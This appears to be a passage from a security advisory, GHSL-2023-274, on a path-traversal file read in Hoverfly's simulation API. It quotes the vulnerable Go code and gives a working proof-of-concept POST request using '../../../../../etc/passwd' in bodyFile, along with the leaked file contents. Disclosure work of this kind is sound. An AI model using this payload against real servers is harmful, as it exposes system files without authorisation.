  "summary" : "Hoverfly allows an arbitrary file read in the `/api/v2/simulation` endpoint (`GHSL-2023-274`)",
  "details" : "### Details\n\nThe `/api/v2/simulation` [POST handler](https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/handlers/v2/simulation_handler.go#L87) allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server.\n\n```go\n# https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/hoverfly_funcs.go#L186\nfunc (hf *Hoverfly) readResponseBodyFile(filePath string) (string, error) {\n\tif filepath.IsAbs(filePath) {\n\t\treturn \"\", fmt.Errorf(\"bodyFile contains absolute path (%s). only relative is supported\", filePath)\n\t}\n\n\tfileContents, err := ioutil.ReadFile(filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(fileContents[:]), nil\n}\n```\n\nNote that, although the code prevents absolute paths from being specified, an attacker can escape out of the `hf.Cfg.ResponsesBodyFilesPath` base path by using `../` segments and reach any arbitrary files.\n\nThis issue was found using the [Uncontrolled data used in path expression CodeQL query for python](https://codeql.github.com/codeql-query-help/go/go-path-injection/).\n#### Proof of Concept\n\nSend the following `POST` request to read the `/etc/passwd` file:\n\n```http\nPOST /api/v2/simulation HTTP/1.1\nHost: localhost:8888\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 128\n\n{\"data\":{\"pairs\":[{\n\"request\":{},\"response\": {\n\"bodyFile\": \"../../../../../etc/passwd\"}} ]},\"meta\":{\"schemaVersion\":\"v5.2\"}}\n\n```\n\nResponse will contain the Hoverfly's server `/etc/passwd`\n```\nHTTP/1.1 200 OK\nContent-Type: application/json; charset=utf-8\nDate: Tue, 19 Dec 2023 20:59:16 GMT\nContent-Length: 1494\nConnection: close\n\n{\"data\":{\"pairs\":[{\"request\":{},\"response\":{\"status\":0,\"body\":\"root:x:0:0:root:/root:/bin/ash\\nbin:x:1:1:bin:/bin:/sbin/nologin\\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\\nadm:x:3:4:adm:/var/adm:/sbin/nologin\\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\\nsync:x:5:0:sync:/sbin:/bin/sync\\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\\nhalt:x:7:0:halt:/sbin:/sbin/halt\\nmail:x:8:12:mail:/var/mail:/sbin/nologin\\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\\noperator:x:11:0:operator:/root:/sbin/nologin\\nman:x:13:15:man:/usr/man:/sbin/nologin\\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\\ngames:x:35:35:games:/usr/games:/sbin/nologin\\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\\nsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\\nguest:x:405:100:guest:/dev/null:/sbin/nologin\\nnobody:x:65534:65534:nobody:/:/sbin/nologin\\n\",\"bodyFile\":\"../../../../../etc/passwd\",\"encodedBody\":false,\"templated\":false}}],\"globalActions\":{\"delays\":[],\"delaysLogNormal\":[]}},\"meta\":{\"schemaVersion\":\"v5.2\",\"hoverflyVersion\":\"v1.6.1\",\"timeExported\":\"2023-12-19T20:59:16Z\"}}\n\n```\n\n#### Impact\n\nThis issue may lead to Information Disclosure.\n#### Remediation\n\nThe code is [preventing absolute paths from being read](https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/hoverfly_funcs.go#L186).
